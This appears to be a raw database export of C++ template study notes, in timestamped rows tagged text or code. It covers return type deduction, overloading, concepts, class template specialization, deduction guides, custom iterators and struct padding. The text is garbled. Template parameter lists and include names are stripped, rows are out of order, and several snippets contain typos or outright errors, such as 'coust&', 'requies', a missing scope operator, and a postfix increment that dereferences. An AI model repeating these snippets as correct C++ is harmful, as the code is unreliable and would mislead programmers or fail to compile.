simply not declaring any return type: text txt 2024-07-28 09:47:39.282552 -868 337 template\nauto max(T1 a, T2 b); code txt 2024-07-28 09:47:39.303726 -869 337 Deducing the return type from the function body has to be possible.\nTherefore, the code must be available and multiple return statements have to\nmatch. text txt 2024-07-28 09:47:39.324911 -870 338 template\nauto max(T1 a, T2 b) -> decltype(b < a ? a : b); code txt 2024-07-28 09:47:39.771519 -871 338 Using this method the implementation does not necessarily have to match. Even\nusing `true` as the condition for ternary operator in the declaration is\nenough: text txt 2024-07-28 09:47:39.792174 -872 338 template\nauto max(T1 a, T2 b) -> decltype(true ? a : b); code txt 2024-07-28 09:47:39.812493 -873 339 It might happen that the return type is a reference type, because under some\nconditions the template parameter might be a reference. For this reason you\nshould return the type decayed from the template paramter, which looks as\nfollows: text txt 2024-07-28 09:47:40.471027 -874 339 #include text txt 2024-07-28 09:47:40.490299 -2013 597 code txt 2024-07-28 09:50:45.122231 -878 339 int i = 42;\nint coust& ir = i;\nauto a = ir; // a is declared as new object of type int code txt 2024-07-28 09:47:40.574171 -879 340 `std::common_type` is a type trait, defined in ``, which yields\na structure having a `type` static member for the resulting type. Thus, it\nneeds a `typename` beforehand in order to access its type. text txt 2024-07-28 09:47:41.212027 -880 340 #include text txt 2024-07-28 09:47:41.231796 -881 340 template\ntypename std::common_type::type max(T1 a, T2 b); code txt 2024-07-28 09:47:41.252837 -882 340 Since C++14, `std::common_type_t` is equivalent to\n`std::common_type::type`. text txt 2024-07-28 09:47:41.273228 -883 340 #include text txt 2024-07-28 09:47:41.292909 -884 340 template\nstd::common_type_t max(T1 a, T2 b); code txt 2024-07-28 09:47:41.313142 -885 340 Note that `std::common_type<>` decays. text txt 2024-07-28 09:47:41.332911 -886 341 Default template arguments can be used with any kind of template. They may\neven refer to previous template parameters. text txt 2024-07-28 09:47:41.901125 -887 341 #include text txt 2024-07-28 09:47:41.921344 -888 341 template> code txt 2024-07-28 09:47:41.94232 -889 341 Another way is to use `std::common_type<>` which also decays so that return\nvalue doesn't become a reference. text txt 2024-07-28 09:47:41.962554 -890 341 RT max(T1 a, T2 b); text txt 2024-07-28 09:47:41.982942 -891 341 template>\nRT max(T1 a, T2 b); code txt 2024-07-28 09:47:42.003106 -892 342 In principle, it is possible to have default arguments for leading function\ntemplate parameters even if parameters without default arguments follow: text txt 2024-07-28 09:47:42.495603 -893 342 template\nRT max(T1 a, T2 b); text txt 2024-07-28 09:47:42.516989 -894 342 int i;\nlong l;\nmax(i, l); // returns long due default argument of template parameter for return type\nmax(7, 42); // returns int as explicitly specified, T1 and T2 deduced by function arguments code txt 2024-07-28 09:47:42.539025 -895 342 However, this approach only makes sence, if there is a natural default for a\ntemplate parameter. text txt 2024-07-28 09:47:42.559336 -896 343 int max(int a, int b); text txt 2024-07-28 09:47:43.504419 -897 343 template\nT max(T a, T b); code txt 2024-07-28 09:47:43.52564 -898 343 The overload resolution process prefers the nontemplate over one generated\nfrom the template. text txt 2024-07-28 09:47:43.545514 -899 343 max(7, 42); // calls the nontemplate for two ints code txt 2024-07-28 09:47:43.564489 -900 343 If the template can generate a function with a better match, then the\ntemplate is selected. Here, the template is a better match because no\nconversion from `double` or `char` to `int` is required. text txt 2024-07-28 09:47:43.587118 -901 343 max(7.0, 42.0); // calls max by argument deduction\n::max('a', 'b'); // calls max by argument deduction code txt 2024-07-28 09:47:43.608276 -902 343 An empty template argument list indicates that only templates may resolve a\ncall, but all the template parameters should be deduced from the call\narguments. text txt 2024-07-28 09:47:43.628128 -903 343 max<>(7, 42); // calls max by argument deduction code txt 2024-07-28 09:47:43.648717 -904 343 Becuase automatic type conversino is not considered for deduced template\nparameters but is considered for ordinary function parameters, the last call\nuses the nontemplate function. text txt 2024-07-28 09:47:43.668913 -905 343 max(7, 42); // calls max no argument deduction\n::max('a', 42.7); // calls the nontemplate for two ints code txt 2024-07-28 09:47:43.690368 -906 344 When two function templates match, the overload resolution process normally\nto process normally to prefer none and result in an ambiguity error. text txt 2024-07-28 09:47:44.139421 -907 344 template\nauto max(T1 a, T2 b); text txt 2024-07-28 09:47:44.159671 -908 344 template\nRT max(T1 a, T2 b); text txt 2024-07-28 09:47:44.179574 -909 344 max(4, 7.2); // calls first overload\n::max(4, 7.2); // calls second overload\n::max(4, 7.2); // ERROR: both function templates match code txt 2024-07-28 09:47:44.199873 -910 345 A useful example would be to overload the maximum template for pointers and\nordinary C-strings. text txt 2024-07-28 09:47:45.026953 -911 345 #include \n#include text txt 2024-07-28 09:47:45.046538 -912 345 template\nT max(T a, T b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 09:47:45.067519 -913 345 template\nT* max(T* a, T* b)\n{\n return *b < *a ? a : b;\n} text txt 2024-07-28 09:47:45.087475 -914 345 char const* max(char const* a, char const* b)\n{\n return std::strcmp(b, a) < 0 ? a : b;\n} text txt 2024-07-28 09:47:45.107595 -915 345 int i{7}, j{42};\nint *p1 = &i, *p2 = &j; text txt 2024-07-28 09:47:45.12748 -916 345 max(i, j); // calls max() for two int\n::max(std::string{"mathematics"}, std::string{"math"}); // calls max() for std::string\n::max(p1, p2); // calls max() for two pointers\n::max("mathematics", "math"); // calls max() for two C-strings code txt 2024-07-28 09:47:45.148317 -917 346 In general, it is a good idea not to change more than necessary when\noverloading function templates. You should limit your changes to the number\nof parameters or to specifying template parameters explicitly. Otherwise,\nunexpected effects may happen. text txt 2024-07-28 09:47:46.398539 -918 346 For example, if you implement your `max()` template to pass the arguments by\nreference and overload it for two C-strings passed by value, you can’t use\nthe three-argument version to compute the maximum of three C-strings: text txt 2024-07-28 09:47:46.419544 -919 346 #include text txt 2024-07-28 09:47:46.439854 -920 346 template\nT const& max(T const& a, T const& b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 09:47:46.461081 -921 346 char const* max(char const* a, char const* b)\n{\n return std::strcmp(b, a) < 0 ? a : b;\n} text txt 2024-07-28 09:47:46.481934 -922 346 template\nT const& max(T const& a, T const& b, T const& c)\n{\n return max(max(a, b), c); // error if max(a,b) uses call-by-value\n} text txt 2024-07-28 09:47:46.502308 -923 346 max(7, 42, 68); // OK text txt 2024-07-28 09:47:46.522624 -924 346 char const* s1 = "A";\nchar const* s2 = "B";\nchar const* s3 = "C";\n::max(s1, s2, s3); // runtime error code txt 2024-07-28 09:47:46.543417 -925 346 The problem is that if you call `max()` for three C-strings, the statement: text txt 2024-07-28 09:47:46.564237 -926 346 return max (max(a,b), c); code txt 2024-07-28 09:47:46.584129 -927 346 becomes a run-time error because for C-strings, `max(a,b)` creates a new,\ntemporary local value that is returned by reference, but that temporary value\nexpires as soon as the return statement is complete, leaving `main()` with a\ndangling reference. text txt 2024-07-28 09:47:46.604447 -928 346 Unfortunately, the error is quite subtle and may not manifest itself in all\ncases. In general, a conforming compiler isn’t even permitted to reject this\ncode. text txt 2024-07-28 09:47:46.626282 -1334 427 #include \n#include text txt 2024-07-28 09:48:55.621418 -929 347 Ensure that all overloaded versions of a function are declared before the\nfunction is called. This is because the fact that not all overloaded\nfunctions are visible when a corresponding function call is made may matter. text txt 2024-07-28 09:47:47.369103 -930 347 template\nT max (T a, T b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 09:47:47.391097 -931 347 template\nT max (T a, T b, T c)\n{\n return max (max(a,b), c);\n // calls template max not overload\n} text txt 2024-07-28 09:47:47.412335 -932 347 // declaration comes too late\nint max (int a, int b)\n{\n std::cout << "max(int,int) \\\\n";\n return b < a ? a : b;\n} code txt 2024-07-28 09:47:47.433569 -933 348 For each function or class template, there are preconditions and\nrequirements. These requirements were implicitly handled before C++20, but\nconcepts make it easier to express requirements explicitly. text txt 2024-07-28 09:47:47.966121 -934 348 template\nrequires std::is_copyable && supports_less_than\nT max_value(T a, T b)\n{\n return b < a ? a : b;\n} code txt 2024-07-28 09:47:47.986862 -935 349 template\nconcept supports_less_than = requires (T x) { x < x; }; code txt 2024-07-28 09:47:48.302284 -936 350 Having two different function bodies but with the same signature, would\nresult in ambigous overload and compiler will raise an error. text txt 2024-07-28 09:47:48.99598 -937 350 To inform compiler about the best match of two overloads with same signature,\nwe can use concepts as a type constraint. text txt 2024-07-28 09:47:49.015818 -938 350 template\nconcept has_push_back = requires (Container c, Container::value_type v) { c.push_back(v); }; text txt 2024-07-28 09:47:49.036358 -939 350 template\nconcept has_insert = requires (Container c, Container::value_type v) { c.insert(v); }; text txt 2024-07-28 09:47:49.056381 -940 350 void add(has_push_back auto& container, auto const& value)\n{\n container.push_back(value);\n} text txt 2024-07-28 09:47:49.077988 -941 350 void add(has_insert auto& container, auto const& value)\n{\n container.insert(value);\n} code txt 2024-07-28 09:47:49.099271 -942 351 template\nconcept has_push_back = requies (Container c, Container::value_type v) { c.push_back(v); }; text txt 2024-07-28 09:47:49.890134 -943 351 template\nvoid add(C& container, T const& value)\n{\n container.push_back(value);\n} text txt 2024-07-28 09:47:49.910836 -944 351 void add(has_push_back auto& container, auto const& value)\n{\n container.push_back(value);\n} text txt 2024-07-28 09:47:49.930757 -945 351 void add(auto& container, auto const& value)\n{\n if constexpr (requires { container.push_back(value); })\n {\n container.push_back(value);\n }\n else\n {\n container.insert(value);\n }\n} code txt 2024-07-28 09:47:49.952294 -946 352 Before the declaration, you have to declare one or multiple identifiers as a\ntype parameters. text txt 2024-07-28 09:47:50.640396 -947 352 Inside the class template, template parameters can be used just like any\nother type to declare members and member functions. text txt 2024-07-28 09:47:50.661321 -948 352 template\nclass Stack\n{\nprivate:\n std::vector data; text txt 2024-07-28 09:47:50.682354 -949 352 public:\n void push(T const&);\n void pop() const;\n T const& top() const;\n bool empty() const;\n}; code txt 2024-07-28 09:47:50.703076 -950 352 The keyword `class` can be used instead of `typename`. text txt 2024-07-28 09:47:50.724486 -951 353 Template parameters can be omited when declaring copy constructor and copy\nassignment operator. text txt 2024-07-28 09:47:51.531661 -952 353 template\nclass Stack\n{\npublic:\n Stack(Stack const&);\n Stack& operator=(Stack const&);\n}; code txt 2024-07-28 09:47:51.553726 -953 353 But it is formally equivalent to specify template parameters: text txt 2024-07-28 09:47:51.574715 -954 353 template\nclass Stack\n{\npublic:\n Stack(Stack const&);\n Stack& operator=(Stack const&);\n}; code txt 2024-07-28 09:47:51.596094 -955 353 But usually the `` signals special handling of special template\nparameters, so it’s usually better to use the first form. However, outside\nthe class structure you'd need to specify it. text txt 2024-07-28 09:47:51.616517 -956 354 To define a member function of a class template, you have to specify that it\nis a template, and you have to use the full type qualification of the class\ntemplate. text txt 2024-07-28 09:47:52.233889 -957 354 template\nclass Stack\n{\n void push(T const&);\n void pop();\n}; text txt 2024-07-28 09:47:52.254135 -958 354 template\nvoid Stack::push(T const&) { } text txt 2024-07-28 09:47:52.274207 -959 354 template\nvoid Stack::pop() { } code txt 2024-07-28 09:47:52.294217 -960 355 Class template arguments have to support all operations of member templates\nthat are **used**. They don't have to support all the operations that\n**could** be used. text txt 2024-07-28 09:47:53.074275 -961 355 template\nclass stack\n{\npublic:\n std::vector container;\nprivate:\n void print() const\n {\n for (T const& element: container)\n {\n std::cout << element << ' ';\n // requires operator<<() support for type T\n }\n }\n}; code txt 2024-07-28 09:47:53.095746 -962 356 To declare a friend function and define it afterwards, we have two options: text txt 2024-07-28 09:47:54.352482 -963 356 1. We can implicitly declare a new function template, which must use a\n different template parameter, such as U: text txt 2024-07-28 09:47:54.374724 -964 356 template\nclass Stack\n{\npublic:\n Stack(Stack const&); text txt 2024-07-28 09:47:54.39645 -965 356 template\n friend std::ostream& operator<<(std::ostream&, Stack const&);\n}; code txt 2024-07-28 09:47:54.419273 -966 356 We forward declare the output operator for a class to be a template, which,\nhowever, means that we first have to forward declare the class too: text txt 2024-07-28 09:47:54.440538 -967 356 template\nclass Stack; text txt 2024-07-28 09:47:54.460525 -968 356 template\nstd::ostream& operator<<(std::ostream&, Stack const&); text txt 2024-07-28 09:47:54.481624 -969 356 template\nclass Stack\n{\npublic:\n Stack(Stack const&); text txt 2024-07-28 09:47:54.502528 -970 356 friend std::ostream& operator<<(std::ostream&, Stack const&);\n}; code txt 2024-07-28 09:47:54.524669 -971 356 Note the `` behind the function name `operator<<`. Thus, we declare a\nspecialization of the nonmember function template as friend. Without `` we\nwould declare a new nontemplate function. text txt 2024-07-28 09:47:54.544082 -972 357 To specialize a class template, you have to declare the class with a leading\n`template<>` and a specialization of the types for which the class template\nis specialized. The types are used as a template argument and must be\nspecified directly forwarding the name of the class: text txt 2024-07-28 09:47:55.246144 -973 357 template\nclass Stack\n{\n void push(T const&);\n}; text txt 2024-07-28 09:47:55.266304 -974 357 template\nvoid Stack::push(T const&) { } text txt 2024-07-28 09:47:55.285633 -975 357 template<>\nStack\n{\n void push(std::string const&);\n}; text txt 2024-07-28 09:47:55.30628 -976 357 void Stack::push(std::string const&) { } code txt 2024-07-28 09:47:55.326268 -2024 600 code txt 2024-07-28 09:50:47.321231 -977 358 You can provide special implementation for particular circumstances, but some\ntemplate parameters must still be defined by the user. text txt 2024-07-28 09:47:56.05029 -978 358 template\nclass Stack\n{\n void push(T const&);\n}; text txt 2024-07-28 09:47:56.070383 -979 358 template\nvoid Stack push(T const&) { } text txt 2024-07-28 09:47:56.091299 -980 358 template\nclass Stack\n{\n void push(T*);\n}; text txt 2024-07-28 09:47:56.11261 -981 358 template\nvoid Stack::push(T*) { } code txt 2024-07-28 09:47:56.133408 -982 358 With partial specialization, we define a class template, still parametrized\nfor `T` but specialized for a pointer (`Stack`). text txt 2024-07-28 09:47:56.154059 -983 359 template\nclass Stack; code txt 2024-07-28 09:47:57.184975 -984 359 The following class template can be specialized in following ways: text txt 2024-07-28 09:47:57.205656 -985 359 template\nclass Stack; text txt 2024-07-28 09:47:57.226318 -986 359 template\nclass Stack; text txt 2024-07-28 09:47:57.246499 -987 359 template\nclass Stack; code txt 2024-07-28 09:47:57.268001 -988 359 The following examples show which template is used by which declaration: text txt 2024-07-28 09:47:57.288451 -989 359 Stack{}; // Stack\nStack{}; // Stack\nStack{}; // Stack\nStack{}; // Stack code txt 2024-07-28 09:47:57.309682 -990 359 If more than one partial specialization matches equally well, the declaration is ambiguous: text txt 2024-07-28 09:47:57.329755 -991 359 Stack{}; // ERROR: matches Stack and Stack\nStack{}; // ERROR: matches Stack and Stack code txt 2024-07-28 09:47:57.349901 -992 359 To resolve the second ambiguity, you could provide an additional partial specialization for pointers of the same type: text txt 2024-07-28 09:47:57.369754 -993 359 template\nclass Stack; code txt 2024-07-28 09:47:57.390157 -994 360 template>\nclass Stack\n{\nprivate:\n C container; text txt 2024-07-28 09:47:58.405271 -995 360 public:\n void push(T const&);\n void pop();\n T const& top() const;\n bool empty() const;\n}; text txt 2024-07-28 09:47:58.425949 -996 360 template\nvoid Stack::push(T const& value)\n{\n container.push_back(value);\n} text txt 2024-07-28 09:47:58.447286 -997 360 template\nvoid Stack::pop()\n{\n container.pop_back();\n} text txt 2024-07-28 09:47:58.468734 -998 360 template\nT const& Stack::top() const\n{\n if (container.empty()) throw std::exception{"empty container"};\n return container.back();\n} text txt 2024-07-28 09:47:58.489871 -999 360 template\nbool Stack::empty() const\n{\n return container.empty();\n} code txt 2024-07-28 09:47:58.510304 -1000 361 Unlike a `typedef`, an alias declaration can be templated to provide a\nconvenient name for a family of types. This is also available since C++11 and\nis called an alias template. text txt 2024-07-28 09:47:58.866759 -1001 361 template\nusing matrix = std::vector>; code txt 2024-07-28 09:47:58.886473 -1002 362 Alias templates are especially helpful to define shortcuts for types that are\nmembers of class templates. text txt 2024-07-28 09:47:59.546801 -1003 362 struct Matrix\n{\n using iterator = ...;\n}; text txt 2024-07-28 09:47:59.567489 -1004 362 template\nusing MatrixIterator = typename Matrix::iterator; code txt 2024-07-28 09:47:59.588822 -1005 362 The `typename` is necessary here because the member is a type. text txt 2024-07-28 09:47:59.609593 -1006 362 Since C++14, the standard library uses this technique to define shortcuts for\nall type traits in the standard library that yield a type: text txt 2024-07-28 09:47:59.629697 -1007 362 std::add_const_t // C++14 abbreviate equivalent to std::add_const::type available since C++11\nstd::enable_if_v // C++14 abbreviate equivalent to std::enable_if::value available since C++11 code txt 2024-07-28 09:47:59.650938 -1008 363 Since C++17, the constraint that you always have to specify the template\narguments explicitly was relaxed. text txt 2024-07-28 09:48:00.093252 -1009 363 Stack IntStack;\nStack AnotherStack = IntStack; // OK in all standard versions\nStack IntegralStack = AnotherStack; // OK since C++17 code txt 2024-07-28 09:48:00.114129 -1010 364 Compiler tries to deduce class template arguments by first deducing the\nconstructor argument types which is a regular function template argument\ndeduction. If a constructor meets all the following requirements, then its\nargument types will be used for class template arguments. text txt 2024-07-28 09:48:02.261672 -1011 364 1. Number of arguments must match\n2. Types must fit (including implicit conversions)\n3. Choose best match:\n - Perfect match over template\n - Template over conversion\n - For non-empty brace initialization, `std::initializer_list<>` has highest\n priority text txt 2024-07-28 09:48:02.284768 -1012 364 namespace std\n{\n template>\n class vector\n {\n public:\n vector() noexcept(noexcept(Allocator())); text txt 2024-07-28 09:48:02.305437 -1013 364 explicit vector(Allocator const&) noexcept; text txt 2024-07-28 09:48:02.325306 -1014 364 explicit vector(size_t n, Allocator const& = Allocator()); text txt 2024-07-28 09:48:02.345329 -1015 364 vector(size_t n, ElemT const& value, Allocator const& = Allocator()); text txt 2024-07-28 09:48:02.364438 -1016 364 template\n vector(Iter beg, Iter end, Allocator const& = Allocator()); text txt 2024-07-28 09:48:02.38507 -1017 364 vector(vector const& x); text txt 2024-07-28 09:48:02.405373 -1018 364 vector(vector&&) noexcept; text txt 2024-07-28 09:48:02.424474 -1019 364 vector(vector const&, Allocator const&); text txt 2024-07-28 09:48:02.444621 -1020 364 vector(vector&&, Allocator const&); text txt 2024-07-28 09:48:02.465229 -1021 364 vector(vector&&, Allocator const&); text txt 2024-07-28 09:48:02.486178 -1022 364 vector(initializer_list, Allocator const& = Allocator());\n };\n} // std text txt 2024-07-28 09:48:02.506859 -1023 364 int main()\n{\n std::vector v1(42, 73);\n} code txt 2024-07-28 09:48:02.529826 -1024 364 By following the overload resolution matching rules, the first rule *number\nof arguments* specifies that we have 6 following matches that fit two\nparameters: text txt 2024-07-28 09:48:02.551094 -1025 364 explicit vector(size_t n, Allocator const& = Allocator()); text txt 2024-07-28 09:48:02.572276 -1026 364 vector(size_t n, ElemT const& value, Allocator const& = Allocator()); text txt 2024-07-28 09:48:02.593723 -1027 364 template\nvector(Iter beg, Iter end, Allocator const& = Allocator()); text txt 2024-07-28 09:48:02.615974 -1028 364 vector(vector&&, Allocator const&); text txt 2024-07-28 09:48:02.637401 -1029 364 vector(vector&&, Allocator const&); text txt 2024-07-28 09:48:02.657857 -1030 364 vector(initializer_list, Allocator const& = Allocator()); code txt 2024-07-28 09:48:02.677689 -1335 427 using namespace std::string_literals; text txt 2024-07-28 09:48:55.641545 -1031 364 By applying the second rule *types must fit* we will only have the following\n3 remaining overload resolutions: text txt 2024-07-28 09:48:02.698736 -1032 364 vector(size_t n, ElemT const& value, Allocator const& = Allocator()); text txt 2024-07-28 09:48:02.719362 -1033 364 template\nvector(Iter beg, Iter end, Allocator const& = Allocator()); text txt 2024-07-28 09:48:02.741117 -1034 364 vector(initializer_list, Allocator const& = Allocator()); code txt 2024-07-28 09:48:02.761803 -1035 364 The second overload resolution might seem strange that integers fit two\niterators, but compiler only sees two matching arguments having the same type\nwhich can also be `int`. text txt 2024-07-28 09:48:02.782795 -1036 364 Going further, the third rule of *choose the best match*, we would lose the\nfirst two because if we have an initializer list for constructing an object,\nthe overload resolution having `std::initializer_list<>` is a best match. So\nwe would only have the last overload: text txt 2024-07-28 09:48:02.8052 -1037 364 vector(initializer_list, Allocator const& = Allocator()); code txt 2024-07-28 09:48:02.82573 -1038 365 By providing constructors that pass some initial arguments, you can support\ndeduction of the type used in a class. text txt 2024-07-28 09:48:03.367263 -1039 365 template\nclass Stack\n{\nprivate:\n std::vector container; text txt 2024-07-28 09:48:03.387934 -1040 365 public:\n Stack() = default;\n Stack(T const& value): container({value}) { }\n}; code txt 2024-07-28 09:48:03.408883 -1041 366 1. You have to request the default constructor to be available with its\n default behavior, because the default constructor is available only if no\n other constructor is defined: text txt 2024-07-28 09:48:04.44524 -1042 366 template\nclass Stack\n{\npublic:\n Stack() = default;\n}; code txt 2024-07-28 09:48:04.466157 -1043 366 2. The initial argument is passed with braces around to initialize the\n internal container with an initializer list that argument as the only\n argument: text txt 2024-07-28 09:48:04.488528 -1044 366 template\nclass Stack\n{\nprivate:\n std::vector container; text txt 2024-07-28 09:48:04.5092 -1045 366 public:\n Stack() = default;\n Stack(T const& value): container({value}) { }\n}; code txt 2024-07-28 09:48:04.530061 -1046 366 This is because there is no constructor for a vector that is able to take a\nsingle parameter as initial element directly. Even worse, there is a vector\nconstructor taking one integral argument as initial size, so that for a stack\nwith the initial value 5, the vector would get an initial size of five\nelements when `container(value)` is used. text txt 2024-07-28 09:48:04.550731 -1047 367 When passing arguments of a template type `T` by reference, the parameter\ndoes not decay, which is the term for the mechanism to convert a raw array\ntype to the corresponding raw pointer typel. text txt 2024-07-28 09:48:05.539551 -1048 367 Stack StringStack = "surprise!"; // Stack deduced since C++17 code txt 2024-07-28 09:48:05.56086 -1049 367 However, when passing arguments of a template type T by value, the parameter\ndecays, which is the term for the mechansim to convert a raw array type to\nthe corresponding raw pointer type. text txt 2024-07-28 09:48:05.583125 -1050 367 template\nclass Stack\n{\nprivate:\n std::vector container; text txt 2024-07-28 09:48:05.60679 -1051 367 public:\n Stack(T value): container({std::move(value)}) { }\n // initialize stack with one element by value to decay on class template argument deduction\n}; code txt 2024-07-28 09:48:05.628303 -1052 367 With this, the following initialization works fine: text txt 2024-07-28 09:48:05.649849 -1053 367 Stack StringStack = "surprise!"; // Stack deduced since C++17 code txt 2024-07-28 09:48:05.67328 -1054 367 In this case, don't forget to use move semantics to avoid unnecessary copy of\nthe argument. text txt 2024-07-28 09:48:05.694919 -1055 368 Because handling raw pointers in containers is a source of trouble, we should\ndisable automatically deducing raw character pointers for container classes. text txt 2024-07-28 09:48:06.30882 -1056 368 You can define specific **deduction guides** to provide additional or fix\nexisting class template argument deductions. text txt 2024-07-28 09:48:06.330419 -1057 368 Stack(const char*) -> Stack; code txt 2024-07-28 09:48:06.351616 -1058 368 This guide has to appear in the same scope as the class definition. text txt 2024-07-28 09:48:06.372458 -1059 368 We call the `->` the *guided type* of the deduction guide. text txt 2024-07-28 09:48:06.394973 -1060 368 Stack StringStack{"no surprises now!"}; // Stack code txt 2024-07-28 09:48:06.415747 -1061 369 The type of objects without template arguments are not types, but act as a\nplaceholder for a type that activates CTAD. When compiler encouters it, it\nbuilds a set of deduction guides which can be complemented by user with user\ndefined deduction rules. text txt 2024-07-28 09:48:07.385832 -1062 369 **CTAD** does not occur if the template argument list is present. text txt 2024-07-28 09:48:07.406005 -1063 369 std::pair p{42, "demo"}; // std::pair\nstd::vector v{1, 2}; // std::vector code txt 2024-07-28 09:48:07.426636 -1064 369 // declaration of the template\ntemplate\nstruct container\n{\n container(T t) {} text txt 2024-07-28 09:48:07.446604 -1065 369 template\n container(Iter beg, Iter end);\n}; text txt 2024-07-28 09:48:07.46886 -1066 369 // additional deduction guide\ntemplate\ncontainer(Iter b, Iter e) -> container::value_type>; text txt 2024-07-28 09:48:07.489777 -1067 369 // use cases\ncontainer c(7); // OK: deduces container using an implicitly-generated guide\nstd::vector v = {/* ... */};\nauto d = container(v.begin(), v.end()); // OK: deduces container\ncontainer e{5, 6}; // Error: there is no std::iterator_traits::value_type code txt 2024-07-28 09:48:07.510605 -1068 370 The declaration of a `Stack{"no surprise!"}` deduces as `Stack` using the deduction guide: text txt 2024-07-28 09:48:08.095611 -1069 370 Stack(char const*) -> Stack; code txt 2024-07-28 09:48:08.117473 -1070 370 However, the following still doesn't work: text txt 2024-07-28 09:48:08.139329 -1071 370 Stack StringStack = "surprise again!"; // ERROR: Stack deduced, but still not valid code txt 2024-07-28 09:48:08.162531 -1072 370 By language rules, you can't copy initialize an object by passing a string\nliteral to a constructor expecting a `std::string`. So you have to initialize\nthe object with brace initialization. text txt 2024-07-28 09:48:08.183979 -1073 371 Aggregate classes; classes or structs with no user-provided, explicit, or\ninherited constructor, no private or protected nonstatic data members, no\nvirtual functions, and no virtual, private, or protected base classes; can\nalso be templates. text txt 2024-07-28 09:48:09.004473 -1074 371 template\nstruct ValueWithComment\n{\n T value;\n std::string comment;\n}; code txt 2024-07-28 09:48:09.024898 -1075 371 Since C++17, you can even define deduction guides for aggregate class templates: text txt 2024-07-28 09:48:09.046265 -1076 371 ValueWithComment(char const*, char const*) -> ValueWithComment; text txt 2024-07-28 09:48:09.06904 -1337 427 using namespace std::string_view_literals; text txt 2024-07-28 09:48:55.683266 -1077 371 ValueWithComment vc = {"secret", "my secret message"}; // ValueWithComment deduced code txt 2024-07-28 09:48:09.089601 -1078 371 Without the deduction guide, the initialization would not be possible,\nbecause the aggregate class has no constructor to perform the deduction\nagainst. text txt 2024-07-28 09:48:09.11008 -1079 371 The standard library class `std::array<>` is also an aggregate, parametrized\nfor both the element type and the size. The C++17 standard library also\ndefines a deduction guide for it. text txt 2024-07-28 09:48:09.131001 -1080 372 #include \n#include text txt 2024-07-28 09:48:10.243146 -1081 372 std::vector get_numbers()\n{\n return std::vector{1, 2, 3, 4, 5};\n} text txt 2024-07-28 09:48:10.263722 -1082 372 std::map get_doubles()\n{\n return std::map{\n {0, 0.0},\n {1, 1.1},\n {2, 2.2}\n };\n} text txt 2024-07-28 09:48:10.285544 -1083 372 int main()\n{\n auto numbers = std::vector{1, 2, 3, 4, 5};\n auto copies = std::vector(numbers.size() * 4); text txt 2024-07-28 09:48:10.306297 -1084 372 for (int element: numbers)\n copies.push_back(element); text txt 2024-07-28 09:48:10.326395 -1085 372 for (int& element: numbers)\n copies.push_back(element); text txt 2024-07-28 09:48:10.348338 -1086 372 for (auto&& element: get_numbers())\n copies.push_back(element); text txt 2024-07-28 09:48:10.367831 -1087 372 for (auto&& [key, value]: get_doubles())\n copies.push_back(key);\n} code txt 2024-07-28 09:48:10.390078 -1088 373 #include \n#include \n#include text txt 2024-07-28 09:48:13.056002 -1089 373 template\nclass dummy_array\n{\n T data[S] = {}; text txt 2024-07-28 09:48:13.078385 -1090 373 public:\n T const& at(std::size_t const index) const\n {\n if (index < S) return data[index];\n throw std::out_of_range("index out of range");\n } text txt 2024-07-28 09:48:13.100525 -1091 373 void insert(std::size_t const index, T const& value)\n {\n if (index < S) data[index] = value;\n else throw std::out_of_range("index out of range");\n } text txt 2024-07-28 09:48:13.122636 -1092 373 std::size_t size() const { return S; }\n}; text txt 2024-07-28 09:48:13.144295 -1093 373 template\nclass dummy_array_iterator_type\n{\npublic:\n dummy_array_iterator_type(C& collection, std::size_t const index): index{index}, collection{collection}\n {} text txt 2024-07-28 09:48:13.164879 -1094 373 bool operator !=(dummy_array_iterator_type const& other) const\n {\n return index != other.index;\n } text txt 2024-07-28 09:48:13.185745 -1095 373 T const& operator *() const\n {\n return collection.at(index);\n } text txt 2024-07-28 09:48:13.205466 -1096 373 dummy_array_iterator_type& operator ++()\n {\n ++index;\n return *this;\n } text txt 2024-07-28 09:48:13.226931 -1097 373 dummy_array_iterator_type operator ++(int)\n {\n auto temp = *this;\n ++*temp;\n return temp;\n } text txt 2024-07-28 09:48:13.248873 -1098 373 private:\n std::size_t index;\n C& collection;\n}; text txt 2024-07-28 09:48:13.26967 -1099 373 template\nusing dummy_array_iterator = dummy_array_iterator_type, S>; text txt 2024-07-28 09:48:13.290794 -1100 373 template\nusing dummy_array_const_iterator = dummy_array_iterator_type const, S>; text txt 2024-07-28 09:48:13.311681 -1101 373 template\ninline dummy_array_iterator begin(dummy_array& collection)\n{\n return dummy_array_iterator(collection, 0);\n} text txt 2024-07-28 09:48:13.3325 -1102 373 template\ninline dummy_array_iterator end(dummy_array& collection)\n{\n return dummy_array_iterator(collection, collection.size());\n} text txt 2024-07-28 09:48:13.354099 -1103 373 template\ninline dummy_array_const_iterator begin(dummy_array const& collection)\n{\n return dummy_array_const_iterator(collection, 0);\n} text txt 2024-07-28 09:48:13.376171 -1104 373 template\ninline dummy_array_const_iterator end(dummy_array const& collection)\n{\n return dummy_array_const_iterator(collection, collection.size());\n} text txt 2024-07-28 09:48:13.396743 -1105 373 int main()\n{\n dummy_array numbers;\n numbers.insert(0, 1);\n numbers.insert(1, 2);\n numbers.insert(2, 3);\n numbers.insert(3, 4);\n numbers.insert(4, 5); text txt 2024-07-28 09:48:13.418321 -1106 373 for (auto&& element: numbers)\n std::cout << element << ' ';\n std::cout << '\\\\n';\n} code txt 2024-07-28 09:48:13.440409 -1107 374 The alignment must match the size of the largest member in order to avoid\nperformance issues. text txt 2024-07-28 09:48:14.791652 -1108 374 struct foo1 // size = 1, alignment = 1\n{ // foo1: +-+\n char a; // members: |a|\n}; text txt 2024-07-28 09:48:14.813986 -1109 374 struct foo2 // size = 2, alignment = 1\n{ // foo1: +-+-+\n char a; // members: |a|b|\n char b;\n}; text txt 2024-07-28 09:48:14.836717 -1110 374 struct foo3 // size = 8, alignment = 4\n{ // foo1: +----+----+\n char a; // members: |a...|bbbb|\n int b;\n}; text txt 2024-07-28 09:48:14.857759 -1111 374 struct foo3_\n{\n char a; // 1 byte\n char _pad0[3]; // 3 bytes\n int b; // 4 byte\n}; text txt 2024-07-28 09:48:14.880231 -1112 374 struct foo4 // size = 24, alignment = 8\n{ // foo4: +--------+--------+--------+--------+\n int a; // members: |aaaa....|cccc....|dddddddd|e.......|\n char b;\n float c;\n double d;\n bool e;\n}; text txt 2024-07-28 09:48:14.902044 -1113 374 struct foo4_\n{\n int a; // 4 bytes\n char b; // 1 byte\n char _pad0[3]; // 3 bytes\n float c; // 4 bytes\n char _pad1[4]; // 4 